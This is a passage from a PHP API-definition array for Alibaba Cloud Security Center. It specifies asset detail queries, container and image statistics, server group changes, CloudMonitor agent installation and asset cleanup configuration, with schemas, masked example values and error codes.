=> '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '92016EC8-D52D-49D8-9FF7-9EA340A950B9', ], 'AssetList' => [ 'description' => 'An array that consists of the details of the instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the instance.'."\n", 'type' => 'object', 'properties' => [ 'InternetIp' => [ 'description' => 'The public IP address of the ECS instance.'."\n", 'type' => 'string', 'example' => '10.10.XX.XX', ], 'OsName' => [ 'description' => 'The name of the operating system run by the ECS instance.'."\n", 'type' => 'string', 'example' => 'CentOS 7.6 64-bit'."\n", ], 'Ip' => [ 'description' => 'The IP address of the ECS instance.'."\n" ."\n" .'> If the ECS instance has a public IP address, the value of this parameter is the public IP address of the ECS instance. If the ECS instance does not have a public IP address, the value of this parameter is the private IP address of the ECS instance.'."\n", 'type' => 'string', 'example' => '10.10.XX.XX', ], 'Os' => [ 'description' => 'The operating system of the ECS instance.'."\n", 'type' => 'string', 'example' => 'Linux', ], 'InstanceId' => [ 'description' => 'The ID of the ECS instance.'."\n", 'type' => 'string', 'example' => 'i-rj9gda4wolo0zixi****', ], 'ClientStatus' => [ 'description' => 'The status of the Security Center agent. Valid values:'."\n" ."\n" .'* **online**'."\n" .'* **offline**'."\n", 'type' => 'string', 'example' => 'online', ], 'VpcInstanceId' => [ 'description' => 'The ID of the virtual private cloud (VPC).'."\n", 'type' => 'string', 'example' => '13231-331331', ], 'IntranetIp' => [ 'description' => 'The private IP address of the ECS instance.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'AssetType' => [ 'description' => 'The type of the asset.'."\n" ."\n" .'The value is fixed as **0**, which indicates ECS instances.'."\n", 'type' => 'string', 'example' => '0', ], 'RegionId' => [ 'description' => 'The region in which the ECS instance resides.'."\n" ."\n" .'> For more information about the mapping between region IDs and region names, see [Regions and zones](~~40654~~).'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], 'Uuid' => [ 'description' => 'The UUID of the ECS instance.'."\n", 'type' => 'string', 'example' => '2a98f149-0256-414c-a29a-a69f8a75****', ], 'Flag' => [ 'description' => 'The type of the asset by source. Valid values:'."\n" ."\n" .'* **0**: The asset is provided by Alibaba Cloud.'."\n" .'* **1**: The asset is not provided by Alibaba Cloud.'."\n" .'* **2**: The asset resides in a data center.'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset.'."\n" .'* **8**: light-weight assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RegionName' => [ 'description' => 'The name of the region in which the ECS instance resides.'."\n", 'type' => 'string', 'example' => 'cn-shenzhen', ], 'InstanceName' => [ 'description' => 'The name of the ECS instance.'."\n", 'type' => 'string', 'example' => 'TestInstanceName', ], 'Region' => [ 'description' => 'The region in which the ECS instance resides.'."\n", 'type' => 'string', 'example' => 'cn-guangzhou', ], 'CpuInfo' => [ 'description' => 'The details of the CPU.'."\n", 'type' => 'string', 'example' => 'Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz', ], 'OsDetail' => [ 'description' => 'The operating system version of the instance.'."\n", 'type' => 'string', 'example' => 'Linux 64bit', ], 'CreateTime' => [ 'description' => 'The timestamp when Security Center records the details of the instance. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1603863599000', ], 'Kernel' => [ 'description' => 'The kernel version of the operating system.'."\n", 'type' => 'string', 'example' => '4.18.0-80.11.2.el8_0.x86_64', ], 'Bind' => [ 'description' => 'Indicates whether Security Center is authorized to protect the instance. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Tag' => [ 'description' => 'The tag added to the instance.'."\n", 'type' => 'string', 'example' => 'test', ], 'Mem' => [ 'description' => 'The memory size of the instance. Unit: GB.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'Memory' => [ 'description' => 'The memory size of the instance. Unit: MB.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1024', ], 'AuthVersion' => [ 'description' => 'The edition of Security Center that is authorized to protect the instance. Valid values:'."\n" ."\n" .'* **1**: Basic edition (Unauthorized)'."\n" .'* **6**: Anti-virus edition'."\n" .'* **5**: Advanced edition'."\n" .'* **3**: Enterprise edition'."\n" .'* **7**: Ultimate edition', 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'GroupTrace' => [ 'description' => 'The group to which the instance belongs. By default, the instances that are not grouped belong to the **Default** group.'."\n", 'type' => 'string', 'example' => 'default', ], 'HostName' => [ 'description' => 'The hostname.'."\n", 'type' => 'string', 'example' => 'test', ], 'AuthModifyTime' => [ 'description' => 'The timestamp when Security Center is authorized to protect the instance. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1627974044000', ], 'SysInfo' => [ 'description' => 'The operating system information about the instance.'."\n", 'type' => 'string', 'example' => 'CentOS Linux 8.0.1905', ], 'Cpu' => [ 'description' => 'The number of CPU cores.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'ClientVersion' => [ 'description' => 'The version of the Security Center agent.'."\n", 'type' => 'string', 'example' => '2.0.0', ], 'IpList' => [ 'description' => 'The IP addresses of the instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IP address of the instance.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], ], 'MacList' => [ 'description' => 'The media access control (MAC) addresses of the instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The MAC address of the instance.'."\n", 'type' => 'string', 'example' => '00:16:3*:1*:9*:cf', ], ], 'DiskInfoList' => [ 'description' => 'An array that consists of the information about the disk.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the disk. This parameter contains the following fields:'."\n" ."\n" .'* **diskName**: the name of the disk.'."\n" .'* **totalSize**: the total amount of the disk space. Unit: GB.'."\n" .'* **useSize**: the amount of the used disk space. Unit: GB.'."\n" .'* **useSizeByte**: the amount of the used disk space. Unit: bytes.'."\n" .'* **totalSizeByte**: the total amount of the disk space. Unit: bytes.'."\n", 'type' => 'string', 'example' => '{diskName: "/dev/vda1", useSizeByte: 2998996992, totalSize: 40, useSize: 2, totalSizeByte: 42140479488}', ], ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'GetAssetDetailFail', 'errorMessage' => 'Asset detail service has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"92016EC8-D52D-49D8-9FF7-9EA340A950B9\\",\\n \\"AssetList\\": [\\n {\\n \\"InternetIp\\": \\"10.10.XX.XX\\",\\n \\"OsName\\": \\"CentOS 7.6 64位\\",\\n \\"Ip\\": \\"10.10.XX.XX\\",\\n \\"Os\\": \\"Linux\\",\\n \\"InstanceId\\": \\"i-rj9gda4wolo0zixi****\\",\\n \\"ClientStatus\\": \\"online\\",\\n \\"VpcInstanceId\\": \\"13231-331331\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"AssetType\\": \\"0\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"Uuid\\": \\"2a98f149-0256-414c-a29a-a69f8a75****\\",\\n \\"Flag\\": 0,\\n \\"RegionName\\": \\"cn-shenzhen\\",\\n \\"InstanceName\\": \\"TestInstanceName\\",\\n \\"Region\\": \\"cn-guangzhou\\",\\n \\"CpuInfo\\": \\"Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz\\",\\n \\"OsDetail\\": \\"Linux 64bit\\",\\n \\"CreateTime\\": 1603863599000,\\n \\"Kernel\\": \\"4.18.0-80.11.2.el8_0.x86_64\\",\\n \\"Bind\\": true,\\n \\"Tag\\": \\"test\\",\\n \\"Mem\\": 4,\\n \\"Memory\\": 1024,\\n \\"AuthVersion\\": 7,\\n \\"GroupTrace\\": \\"default\\",\\n \\"HostName\\": \\"test\\",\\n \\"AuthModifyTime\\": 1627974044000,\\n \\"SysInfo\\": \\"CentOS Linux 8.0.1905\\",\\n \\"Cpu\\": 4,\\n \\"ClientVersion\\": \\"2.0.0\\",\\n \\"IpList\\": [\\n \\"192.168.XX.XX\\"\\n ],\\n \\"MacList\\": [\\n \\"00:16:3*:1*:9*:cf\\"\\n ],\\n \\"DiskInfoList\\": [\\n \\"{diskName: \\\\\\"/dev/vda1\\\\\\", useSizeByte: 2998996992, totalSize: 40, useSize: 2, totalSizeByte: 42140479488}\\"\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeAssetDetailByUuids', ], 'DescribeImageStatistics' => [ 'summary' => 'Queries the risk statistics of container images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D', ], 'InstanceCount' => [ 'description' => 'The number of container images in your assets. Only Container Registry Enterprise Edition instances are counted.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'RiskInstanceCount' => [ 'description' => 'The number of container images that have security risks. Only Container Registry Enterprise Edition instances are counted.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\",\\n \\"InstanceCount\\": 5,\\n \\"RiskInstanceCount\\": 2\\n}","errorExample":""},{"type":"xml","example":"\\n 5\\n 4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\n 2\\n","errorExample":""}]', 'title' => 'DescribeImageStatistics', 'description' => 'Security Center can scan for security risks and collect statistics only for **Container Registry Enterprise Edition instances**.'."\n" ."\n" .'> Security Center cannot scan for security risks or collect statistics for **default** Container Registry instances.'."\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeContainerStatistics' => [ 'summary' => 'Queries the alert statistics of container assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the specified container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to obtain the cluster ID.'."\n", 'type' => 'string', 'required' => true, 'example' => 'Cccfd68c474454665ace07efce924****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '21DA46CA-2DCE-4FF6-907D-D5DBBB7518C8', ], 'Data' => [ 'description' => 'The alert statistics of container assets.'."\n", 'type' => 'object', 'properties' => [ 'TotalNode' => [ 'description' => 'The total number of nodes in the current container cluster.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], 'RemindAlarmCount' => [ 'description' => 'The number of alerts whose risk level is **Reminder**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalAlarmCount' => [ 'description' => 'The total number of alerts that are generated in the current container cluster.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'SuspiciousAlarmCount' => [ 'description' => 'The number of alerts whose risk level is **Suspicious**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'SeriousAlarmCount' => [ 'description' => 'The number of alerts whose risk level is **Urgent**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'hasRiskNode' => [ 'description' => 'The number of nodes on which alerts are generated in the current container cluster.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"21DA46CA-2DCE-4FF6-907D-D5DBBB7518C8\\",\\n \\"Data\\": {\\n \\"TotalNode\\": 12,\\n \\"RemindAlarmCount\\": 1,\\n \\"TotalAlarmCount\\": 6,\\n \\"SuspiciousAlarmCount\\": 3,\\n \\"SeriousAlarmCount\\": 2,\\n \\"hasRiskNode\\": 4\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 21DA46CA-2DCE-4FF6-907D-D5DBBB7518C8\\n \\n 12\\n 1\\n 4\\n 6\\n 2\\n 3\\n \\n","errorExample":""}]', 'title' => 'DescribeContainerStatistics', 'description' => 'Only users who created a Container Registry Enterprise Edition instance can call this operation.'."\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyAssetGroup' => [ 'summary' => 'Changes the server group to which one or more servers belong.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '10.12.XX.XX', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the new server group to which the servers belong.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of server groups.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '9586199', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the servers for which you want to change the server group. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '076a446d-df7d-424c-bdc5-bb5dc7f1****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C2677612-7207-4AEB-BD48-8BA528F86777', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"C2677612-7207-4AEB-BD48-8BA528F86777\\"\\n}","errorExample":""},{"type":"xml","example":"\\n C2677612-7207-4AEB-BD48-8BA528F86777\\n","errorExample":""}]', 'title' => 'ModifyAssetGroup', 'description' => 'You can call the ModifyAssetGroup operation to change the server group to which one or more servers belong. After you create a server group by calling the [CreateOrUpdateAssetGroup](~~CreateOrUpdateAssetGroup~~) operation, you can call the ModifyAssetGroup operation to change the server group to which your servers belong.'."\n" ."\n" .'### Limits'."\n" ."\n" .'You can call this API operation up to 10 times per second per account. If the number of the calls per second exceeds the limit, throttling is triggered. As a result, your business may be affected. We recommend that you take note of the limit when you call this operation.'."\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'InstallCloudMonitor' => [ 'summary' => 'Installs the CloudMonitor agent on specified servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'ArgusVersion', 'in' => 'query', 'schema' => [ 'title' => '云监控版本', 'description' => 'The version of the CloudMonitor agent that you want to install on the servers. For more information about the latest version of the CloudMonitor agent, see [Overview](~~183431~~).'."\n", 'type' => 'string', 'required' => true, 'example' => '3.5.6', 'enum' => [], ], ], [ 'name' => 'AgentAccessKey', 'in' => 'query', 'schema' => [ 'title' => '非阿里云主机安装云监控插件时所需要的AccessKey', 'description' => 'The AccessKey ID that is required to install the CloudMonitor agent. You can call the [DescribeMonitoringAgentAccessKey](~~114948~~) operation to query the AccessKey ID.'."\n" ."\n" .'> This parameter is required only when you install the CloudMonitor agent on servers that are not deployed on Alibaba Cloud.'."\n", 'type' => 'string', 'required' => false, 'example' => 'usY*****R_U', ], ], [ 'name' => 'AgentSecretKey', 'in' => 'query', 'schema' => [ 'title' => '非阿里云主机安装云监控插件时所需要的AccessSecret', 'description' => 'The AccessKey secret that is required to install the CloudMonitor agent. You can call the [DescribeMonitoringAgentAccessKey](~~114948~~) operation to query the AccessKey secret.'."\n" ."\n" .'> This parameter is required only when you install the CloudMonitor agent on servers that are not deployed on Alibaba Cloud.'."\n", 'type' => 'string', 'required' => false, 'example' => 'UCxF2R1sIO90XlU9****', ], ], [ 'name' => 'InstanceIdList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '实例 instanceId', 'description' => 'The IDs of the servers on which you want to install the CloudMonitor agent. Separate multiple IDs with commas (,).'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IDs of the servers on which you want to install the CloudMonitor agent. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You must specify at least one of the InstanceIdList and UuidList parameters. If you specify both the InstanceIdList and UuidList parameters, the CloudMonitor agent is installed on all the specified servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '[VMware-564d4e22ce6d9207-c97c8af3a448****,VMware-564d4a9574e0b8ab-843ba10d8b0c****,VMware-564dbb7fddaf27ce-629271166745****]', ], 'required' => false, 'maxItems' => 20, 'minItems' => 0, ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => 'uuid 列表', 'description' => 'The UUIDs of the servers on which you want to install the CloudMonitor agent. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUIDs of the servers on which you want to install the CloudMonitor agent. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You must specify at least one of the InstanceIdList and UuidList parameters. If you specify both the InstanceIdList and UuidList parameters, the CloudMonitor agent is installed on all the specified servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '[inet-c669e5d9-0adf-4d71-a9ce-65ed2730****,inet-2e87cce8-763d-4dcd-b39f-d592e1b0****,inet-7c676676-06fa-442e-90fb-b802e5d6****]', ], 'required' => false, 'maxItems' => 20, 'minItems' => 0, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F92AFB96-FACC-57E7-928E-678D04B94CAE', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'false', ], 'Code' => [ 'description' => 'The error code returned if the request fails.'."\n", 'type' => 'string', 'example' => 'IllegalParam', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'There was an error with your request.', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '400', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'MachineNotExist', 'errorMessage' => 'The machine does not exist.', ], [ 'errorCode' => 'AgentNotOnline', 'errorMessage' => 'The agent not online.', ], [ 'errorCode' => 'InvalidParam', 'errorMessage' => 'There was an error with your request.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F92AFB96-FACC-57E7-928E-678D04B94CAE\\",\\n \\"Success\\": false,\\n \\"Code\\": \\"IllegalParam\\",\\n \\"Message\\": \\"There was an error with your request.\\",\\n \\"HttpStatusCode\\": 400\\n}","errorExample":""},{"type":"xml","example":"\\n F92AFB96-FACC-57E7-928E-678D04B94CAE\\n false\\n IllegalParam\\n There was an error with your request.\\n 400\\n","errorExample":""}]', 'title' => 'InstallCloudMonitor', 'description' => '> Before you call this operation, make sure that the Security Center agent on your servers is online and the servers can access Alibaba Cloud services.'."\n", ], 'DescribeSasPmAgentList' => [ 'summary' => 'Queries the servers on which you want to install the CloudMonitor agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-cb7ae5ee-b2bc-4581-b616-62495f5d****,inet-37cf0e4f-55cc-4b84-8073-b348b4b4****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '8EF3ACC2-9400-5B64-B72D-4A1D35113750', ], 'SasPmAgentList' => [ 'description' => 'An array that consists of the information about servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the server.'."\n", 'type' => 'object', 'properties' => [ 'AliyunAssistId' => [ 'title' => '云助手全局唯一Id', 'description' => 'The ID of Cloud Assistant.'."\n", 'type' => 'string', 'example' => 'mi-hz034jn***yxhc0', ], 'AliyunMonitorId' => [ 'title' => '云监控全局唯一Id', 'description' => 'The ID of the CloudMonitor agent.'."\n", 'type' => 'string', 'example' => '5d5ef6be-54ff-11ed-82cf-8f01475e****', ], 'AssistInstallStatus' => [ 'description' => 'The status of Cloud Assistant. Valid values:'."\n" ."\n" .'* **0**: installing'."\n" .'* **1**: installed'."\n" .'* **2**: installation failed'."\n" .'* **3**: installation timed out'."\n", 'type' => 'integer', 'format' => 'int32', 'enumValueTitles' => [], 'example' => '1', ], 'MonitorInstallStatus' => [ 'description' => 'The status of the CloudMonitor agent. Valid values:'."\n" ."\n" .'* **0**: installation failed'."\n" .'* **1**: installed'."\n", 'type' => 'integer', 'format' => 'int32', 'enumValueTitles' => [], 'example' => '1', ], 'AssistInstallResult' => [ 'description' => 'The installation result of Cloud Assistant. Valid values:'."\n" ."\n" .'* **0**: SUCCESS'."\n" .'* **1**: MISSING_PARAM'."\n" .'* **2**: UNKNOWN_SYSTEM'."\n" .'* **3**: DOWNLOAD_FAILED'."\n" .'* **4**: INSTALL_FAILED'."\n", 'type' => 'integer', 'format' => 'int32', 'enumValueTitles' => [], 'example' => '0', ], 'MonitorInstallResult' => [ 'description' => 'The installation result of the CloudMonitor agent. Valid values:'."\n" ."\n" .'* **0**: failed'."\n" .'* **1**: successful'."\n", 'type' => 'integer', 'format' => 'int32', 'enumValueTitles' => [], 'example' => '1', ], 'Uuid' => [ 'title' => '机器uuid', 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '87f1724d-075e-48d3-95fd-78c2dd36****', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8EF3ACC2-9400-5B64-B72D-4A1D35113750\\",\\n \\"SasPmAgentList\\": [\\n {\\n \\"AliyunAssistId\\": \\"mi-hz034jn***yxhc0\\",\\n \\"AliyunMonitorId\\": \\"5d5ef6be-54ff-11ed-82cf-8f01475e****\\",\\n \\"AssistInstallStatus\\": 1,\\n \\"MonitorInstallStatus\\": 1,\\n \\"AssistInstallResult\\": 0,\\n \\"MonitorInstallResult\\": 1,\\n \\"Uuid\\": \\"87f1724d-075e-48d3-95fd-78c2dd36****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSasPmAgentList', ], 'ListAssetCleanConfig' => [ 'summary' => 'Queries the configurations for cleaning offline hosts whose provider cannot be identified.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', ], 'Data' => [ 'description' => 'The asset cleanup configurations.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of hosts that are cleaned.'."\n" ."\n" .'* The value is set to **1**, which indicates hosts whose provider cannot be identified.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CleanDays' => [ 'description' => 'The number of days before hosts whose provider cannot be identified are automatically cleaned after they enter the offline state. Valid value: an integer that ranges from 1 to 30.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'Status' => [ 'description' => 'Indicates whether the configuration takes effect. Valid values:'."\n" ."\n" .'* **0**: The configuration does not take effect.'."\n" .'* **1**: The configuration takes effect.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'Count' => [ 'description' => 'The number of cleanup configurations.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\",\\n \\"Data\\": [\\n {\\n \\"Type\\": 1,\\n \\"CleanDays\\": 7,\\n \\"Status\\": 1\\n }\\n ],\\n \\"Count\\": 1\\n}","type":"json"}]', 'title' => 'ListAssetCleanConfig', ], 'ModifyAssetCleanConfig' => [ 'summary' => 'Modifies the configurations for cleaning offline hosts whose provider cannot be identified.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '142958', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'AssetCleanConfigs', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The asset cleanup configurations.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of hosts that you want to clean.'."\n" ."\n" .'Set the value to **1**, which indicates hosts whose provider cannot be identified.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'CleanDays' => [ 'description' => 'The number of days before hosts whose provider cannot be identified are automatically cleaned after they enter the offline state. Valid value: an integer that ranges from 1 to 30.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '7', ], 'Status' => [ 'description' => 'Specifies whether to enable the feature of cleaning the offline hosts whose provider cannot be identified. Valid values:'."\n" ."\n" .'* **0**: disables the feature.'."\n" .'* **1**: enables the feature.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 